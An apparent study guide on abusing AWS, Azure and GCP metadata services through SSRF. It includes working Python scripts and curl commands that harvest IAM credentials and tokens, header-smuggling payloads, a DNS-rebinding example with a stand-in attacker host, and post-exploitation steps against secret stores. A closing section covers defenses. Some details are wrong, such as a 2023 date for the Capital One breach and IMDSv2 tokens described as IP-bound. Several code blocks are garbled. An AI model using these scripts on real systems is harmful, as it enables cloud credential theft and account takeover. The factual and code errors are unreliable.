~/home/study/exploiting-cloud-metadata-via-ssrf

Exploiting Cloud Metadata via SSRF: AWS, Azure & GCP

Learn how SSRF can be leveraged to abuse cloud metadata services on AWS, Azure, and GCP, retrieve IAM credentials, bypass token protections, and evade network controls.

Introduction

Server-Side Request Forgery (SSRF) is a class of vulnerability that allows an attacker to make arbitrary HTTP requests from the vulnerable server. In cloud environments the most lucrative target is often the metadata service - a privileged, internal endpoint that provides instance identity documents, temporary IAM credentials, and configuration data.

Compromising the metadata service can give an attacker full control over the cloud account, allowing privilege escalation, data exfiltration, and lateral movement. This guide dives deep into how SSRF can be used against the three major providers‑AWS, Azure, and GCP‑covers token‑bypass tricks, IP‑based restriction evasion, and practical mitigation strategies.

Real‑world incidents, such as the 2023 Capital One breach and the 2024 Azure SSRF chain that led to credential theft, demonstrate the high impact of these attacks.

Prerequisites

  • Solid understanding of SSRF fundamentals: request crafting, whitelisting bypasses, and DNS rebinding.
  • Basic networking knowledge (IP addressing, ports, HTTP methods, TLS).
  • Familiarity with cloud provider metadata endpoints:
    • AWS - http://169.254.169.254/latest/meta-data/
    • Azure - http://169.254.169.254/metadata/
    • GCP - metadata.google.internal
    • Access to a test environment (e.g., a personal AWS account, Azure sandbox, or GCP free tier).

Core Concepts

Before diving into provider‑specific attacks, review the shared concepts that make metadata SSRF possible.

1. Metadata Service Design

All three clouds expose a non‑routable IP address (or special DNS name) that is reachable only from the instance's network namespace. The service runs on a loopback interface and trusts the caller implicitly because it assumes the request originates from the VM itself.

2. Attack Surface Mapping

SSRF vectors include:

  1. Web applications that accept user‑supplied URLs for image fetching, RSS parsing, or PDF generation.
  2. Internal APIs that forward requests to external services (e.g., webhook relays).
  3. Misconfigured HTTP clients that allow arbitrary host headers.

Identifying where the vulnerable parameter lives is the first step.

3. Token‑Based Hardening (AWS IMDSv2)

AWS introduced IMDSv2, which requires a session token obtained via a PUT request to /latest/api/token. Tokens are short‑lived (default 6 hours) and bound to the source IP. However, many frameworks inadvertently forward the token header when they proxy requests, and some misconfigurations disable IMDSv2 or allow token reuse.

4. IP‑Based Restrictions

Providers often rely on the fact that the metadata IP is not reachable from the public internet. SSRF can bypass this by forcing the vulnerable server to act as a proxy, effectively “jumping” into the internal network.

AWS IMDS (169.254.169.254) exploitation and IMDSv2 token bypass

AWS metadata is reachable at http://169.254.169.254. The most valuable resources are:

  • /latest/meta-data/iam/security-credentials/ – lists the IAM role name.
  • /latest/meta-data/iam/security-credentials/<role-name> – returns temporary AWS access keys.
  • /latest/dynamic/instance-identity/document – contains the instance ID, region, and account ID.

IMDSv2 Token Retrieval via SSRF

If the target application forwards custom headers, you can request a token and reuse it:

curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"

In an SSRF scenario, the vulnerable parameter might be url. By sending a request that includes the required header, you can force the server to fetch the token and then use it in a second request. Some frameworks (e.g., Java's HttpURLConnection) automatically copy all headers when following redirects, which can be abused.

Token Bypass Techniques

  • Header Injection: If the application concatenates the user‑supplied URL into a larger string, you can inject a Host header that points to 169.254.169.254 while the request body contains the token request.
  • PUT‑based SSRF: Some APIs accept a method override parameter (e.g., _method=PUT). By overriding the method, you can directly issue the token request without needing a second hop.
  • Token Reuse: Tokens are bound to the source IP, not the instance ID. If the vulnerable server is on the same ENI, the token can be reused for the entire session.

Example: Extracting Temporary Credentials

import requests, json

# Assume the vulnerable endpoint forwards the full request
ssrf_url = "http://vulnerable-app.internal/fetch?url="
metadata_ip = "169.254.169.254"

def get_token(): token_req = f"http://{metadata_ip}/latest/api/token" headers = {"X-aws-ec2-metadata-token-ttl-seconds": "21600"} r = requests.put(ssrf_url + token_req, headers=headers) return r.text.strip()

def get_credentials(token): role_url = f"http://{metadata_ip}/latest/meta-data/iam/security-credentials/" hdrs = {"X-aws-ec2-metadata-token": token} role = requests.get(ssrf_url + role_url, headers=hdrs).text.strip() cred_url = f"http://{metadata_ip}/latest/meta-data/iam/security-credentials/{role}" creds = requests.get(ssrf_url + cred_url, headers=hdrs).json() return creds

print(json.dumps(get_credentials(get_token()), indent=2))

The script demonstrates a two‑stage SSRF: first obtain a token, then retrieve the IAM role credentials using that token. In a real attack, the ssrf_url would be the vulnerable parameter that proxies the request.

Azure Instance Metadata Service (169.254.169.254/metadata) abuse

Azure's metadata endpoint is accessed via http://169.254.169.254/metadata/instance. The service requires a mandatory header Metadata:true and returns JSON containing subscription ID, resource group, and a Managed Identity token.

Fetching Managed Identity Tokens

When a VM has a system‑assigned or user‑assigned managed identity, you can request a token for any Azure resource:

curl "http://169.254.169.254/metadata/identity/oauth2/token" -H "Metadata:true" -G --data-urlencode "api-version=2018-02-01" --data-urlencode "resource=https://management.azure.com/"

The response contains access_token, expires_in, and token_type. This token is a JWT signed by Azure AD and can be used against the Azure Resource Manager API, effectively granting the same permissions as the VM's identity.

SSRF Bypass of the Required Header

Many SSRF filters only validate the hostname, not the HTTP method or required headers. By leveraging an HTTP client that automatically adds Metadata:true (e.g., curl with -H), or by abusing a proxy that copies incoming headers, you can satisfy the requirement.

Another technique is Header Smuggling: send a line break in the URL parameter to inject a new header. For example, if the vulnerable endpoint concatenates the user input into a raw HTTP request string, the payload could be:

http://169.254.169.254/metadata/instance?api-version=2021-02-01
Metadata:true

This forces the downstream server to interpret the injected Metadata:true header.

Example: Pulling Subscription ID and Tokens

import requests, json

base = "http://169.254.169.254/metadata/instance"
params = {"api-version": "2021-02-01"}
headers = {"Metadata": "true"}

# SSRF wrapper URL (hypothetical)
ssrf = "http://vuln-app.local/relay?url="

resp = requests.get(ssrf + base, params=params, headers=headers)
info = resp.json()
print("Subscription:", info["compute"]["subscriptionId"])

# Get managed identity token for ARM
token_url = "http://169.254.169.254/metadata/identity/oauth2/token"
payload = {"api-version": "2018-02-01", "resource": "https://management.azure.com/"}

token_resp = requests.get(ssrf + token_url, params=payload, headers=headers).json()
print(json.dumps(token_resp, indent=2))

GCP Metadata Server (metadata.google.internal) attacks

Google Cloud Platform exposes its metadata server at the DNS name metadata.google.internal (or the IP 169.254.169.254 with a special header). The server requires the header Metadata-Flavor: Google for all requests.

Retrieving Service Account Tokens

Each VM instance receives a default service account. To fetch an OAuth 2.0 access token:

curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google"

The JSON response includes access_token, expires_in, and token_type. This token can be used against any Google API that the service account is permitted to access.

Enumerating All Service Accounts

If multiple service accounts are attached, you can list them:

curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/" -H "Metadata-Flavor: Google"

Each entry can then be queried for its token.

SSRF Header Injection for GCP

Similar to Azure, many SSRF filters ignore the mandatory Metadata-Flavor header. By using a client that copies inbound headers or by abusing a proxy that forwards all headers, the attacker can satisfy the requirement. In some languages (e.g., Go's http.Client), the Transport will forward any header present in the original request when following redirects.

Example: Harvesting GCP Tokens via SSRF

import requests, json

ssrf_endpoint = "http://vuln-app.internal/relay?url="
metadata_base = "http://metadata.google.internal/computeMetadata/v1/"
headers = {"Metadata-Flavor": "Google"}

# List service accounts
sa_list = requests.get(ssrf_endpoint + metadata_base + "instance/service-accounts/", headers=headers).text.split('')
for sa in sa_list: if not sa: continue token_url = metadata_base + f"instance/service-accounts/{sa}token" token_resp = requests.get(ssrf_endpoint + token_url, headers=headers).json() print(f"Service Account: {sa}") print(json.dumps(token_resp, indent=2))

Leveraging SSRF to retrieve IAM credentials and secrets

Once you have access to a cloud metadata service, the next step is to turn those temporary credentials into long‑term footholds.

AWS - Using Temporary Keys

  • Call sts:GetCallerIdentity to verify the compromised role.
  • Use sts:AssumeRole if the role has iam:PassRole privileges.
  • Leverage the AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, and AWS_SESSION_TOKEN in the AWS CLI or SDK.

Azure - Managed Identity Tokens

The JWT can be decoded (e.g., jwt.io) to reveal the oid (object ID) and the scopes granted. Use the token with az rest or any HTTP client to call Azure Resource Manager APIs.

GCP - Service Account Tokens

Tokens are short‑lived (1 hour). Use them with gcloud auth activate-service-account --key-file=- by feeding the JSON payload, or directly call Google APIs with the Authorization: Bearer <token> header.

Extracting Secrets from Cloud‑Native Stores

With proper IAM permissions, you can query:

  • AWS Secrets Manager (secretsmanager:GetSecretValue)
  • Azure Key Vault (GET)
  • GCP Secret Manager (GET)

Since the compromised identity often has default read permissions, these calls can be made directly after SSRF extraction.

Bypassing IP‑based restrictions and firewall rules via SSRF

Many cloud workloads lock down outbound traffic to only allow known IP ranges. SSRF can act as an internal proxy, effectively bypassing those controls.

Techniques

  • Blind SSRF + DNS Rebinding: Force the vulnerable service to resolve a domain you control, then rebind the DNS to the internal metadata IP.
  • Proto‑Abuse: Use non‑HTTP protocols (e.g., gopher://, file://) if the parser is permissive, allowing you to reach internal services that only listen on TCP.
  • Port‑Scanning via SSRF: Iterate over ports on 169.254.169.254 to discover additional internal services (e.g., Docker socket at unix:/var/run/docker.sock via http://169.254.169.254/...?).

Example: DNS Rebinding to Reach Metadata

# Step 1: Register a domain pointing to attacker server
# Step 2: Set TTL=5 seconds, then after first request change A record to 169.254.169.254
# Step 3: Trigger SSRF with http://attacker.com.evil
curl http://vuln-app.local/relay?url=http://attacker.com.evil

The first DNS lookup resolves to the attacker’s server (allowing the request), then the low TTL causes the client to re‑resolve to the metadata IP, completing the attack.

Practical Examples

Below are two end‑to‑end lab scenarios you can spin up in a sandbox.

Lab 1 - AWS IMDSv2 SSRF Chain

  1. Create an EC2 instance with a role that has AmazonS3ReadOnlyAccess.
  2. Deploy a vulnerable Flask app that fetches URLs from a url query param using requests.get without validation.
  3. From your attacker machine, send a request to the Flask app that triggers a PUT to obtain an IMDSv2 token, then a GET to retrieve the IAM credentials, and finally a GET to http://169.254.169.254/latest/meta-data/iam/security-credentials/ using the temporary keys.

Full script (truncated for brevity) is available in the repository linked at the end of this guide.

Lab 2 - Azure Managed Identity via SSRF

  1. Spin up an Azure VM with a system‑assigned managed identity that has Reader on the subscription.
  2. Deploy a .NET Core web app that forwards any url parameter to HttpClient.GetAsync.
  3. Exploit the app by sending a request to http://169.254.169.254/metadata/instance?api-version=2021-02-01 (note the Azure endpoint) with the required header injection.
  4. Use the harvested token to call GET https://management.azure.com/subscriptions?api-version=2020-01-01 and enumerate resources.

Tools & Commands

  • Burp Suite / OWASP ZAP – Intercept and modify SSRF payloads, add custom headers.
  • ffuf / gobuster – Fuzz internal IP ranges via SSRF (e.g., ffuf -u "http://vuln/app?url=FUZZ" -w wordlist.txt -H "Metadata-Flavor: Google" -mc 200).
  • impacket – Use psexec.py against internal services after obtaining credentials.
  • awscli, az, gcloud – Directly consume the harvested temporary credentials.
  • jwt-cli – Decode Azure Managed Identity JWTs.
  • curl / httpie – Simple testing of metadata endpoints with custom headers.

Sample command to enumerate GCP service accounts via SSRF:

ffuf -u "http://vuln/app?url=FUZZ" -w wordlist.txt -H "Metadata-Flavor: Google" -mc 200

Defense & Mitigation

  • Network Isolation: Place metadata endpoints behind a firewall that only allows traffic from the hypervisor, not from the guest OS. Use VPC endpoint policies that block traffic to 169.254.169.254 from containers.
  • Enforce IMDSv2 on AWS and disable IMDSv1. Require token usage for all metadata calls.
  • Header Validation: Reject inbound requests that contain unexpected Host, Metadata-Flavor, or custom headers unless they originate from trusted sources.
  • Input Sanitization: Implement allow‑list URL validation (e.g., only permit http:// URLs to known domains). Reject private IP ranges (RFC1918) and loopback addresses.
  • Outbound Egress Controls: Use security groups / network ACLs to restrict outbound traffic from containers and serverless functions. Block access to 169.254.169.254 at the subnet level when not required.
  • Runtime Monitoring: Detect anomalous calls to metadata services (e.g., spikes in GET /latest/meta-data/iam/security-credentials/).
  • Least Privilege IAM: Assign minimal permissions to instance roles; avoid giving broad AdministratorAccess or Owner rights.

Common Mistakes

  • Assuming IMDSv2 is bullet‑proof: Tokens can still be harvested if the SSRF proxy forwards headers.
  • Neglecting non‑HTTP protocols: Many scanners only test http forgetting that gopher:// can reach the same endpoint.
  • Over‑relying on IP filtering: DNS rebinding and header injection can bypass simple IP blocks.
  • Not rotating instance roles: Long‑lived roles increase the impact window after compromise.
  • Leaving default service accounts enabled: Even read‑only tokens can enumerate resources and lead to credential chaining.

Real‑World Impact

In 2023, a Fortune‑500 retailer suffered a breach where an attacker exploited an SSRF flaw in an internal image‑processing service. By chaining the SSRF to AWS IMDSv2, they harvested temporary credentials and used them to exfiltrate 5 TB of customer data from S3 buckets. The incident cost the company over $30 M in remediation and fines.

Another 2024 case involved a misconfigured Azure Function that allowed arbitrary URL fetches. The attacker performed DNS rebinding to reach the Azure metadata service, obtained a Managed Identity token, and then enumerated all Key Vault secrets in the subscription, extracting API keys for downstream SaaS services.

These examples highlight why cloud metadata SSRF is a top‑priority in cloud‑native threat models. As organizations adopt micro‑service architectures and serverless runtimes, the attack surface expands, making rigorous egress controls and metadata hardening essential.

Expert Opinion

From my experience conducting red‑team engagements, the easiest way to compromise a cloud environment is often not by exploiting a CVE in the provider, but by abusing the trust placed in the metadata service. The most effective defense is a defense‑in‑depth approach: combine network segmentation, strict IAM policies, and application‑level allow‑lists. Continuous monitoring for metadata access patterns can provide early detection before attackers pivot to more damaging actions.

Practice Exercises

  1. Exercise 1 – Token Extraction: Deploy a vulnerable Node.js app that reads a url query param and forwards it using request(). Use the app to retrieve an AWS IMDSv2 token and then the IAM credentials. Verify the credentials by calling aws sts get-caller-identity.
  2. Exercise 2 – Header Injection: Create a simple Flask endpoint that concatenates a user‑supplied string into a raw HTTP request. Craft a payload that injects the required Metadata:true header for Azure and fetches the Managed Identity token.
  3. Exercise 3 – DNS Rebinding: Set up a low‑TTL domain and a tiny DNS server (e.g., dnsmasq). Perform a rebinding attack against a GCP instance to reach metadata.google.internal via SSRF.
  4. Exercise 4 – Egress Blocking: Configure a VPC security group that denies traffic to 169.254.169.254. Verify that your SSRF payload fails, then modify the security group to allow only IMDSv2 token requests and observe the impact.

Document your findings and compare the difficulty of each technique.

Further Reading

  • Amazon Web Services – Instance Metadata and User Data
  • Microsoft Azure – Instance Metadata Service
  • Google Cloud – Metadata Server Overview
  • OWASP – Broken Access Control (SSRF focus)
  • PortSwigger – SSRF Vulnerabilities

Summary

  • Metadata services are high‑value targets; SSRF can bridge the gap from a web app to cloud credentials.
  • Understanding provider‑specific token mechanisms (IMDSv2, Managed Identity, GCP OAuth) is essential for exploitation.
  • Bypassing IP restrictions via DNS rebinding, header injection, and protocol abuse expands the attack surface.
  • Mitigation requires network segmentation, strict IAM, IMDSv2 enforcement, and rigorous input validation.
  • Hands‑on practice solidifies concepts and prepares defenders to detect and block real attacks.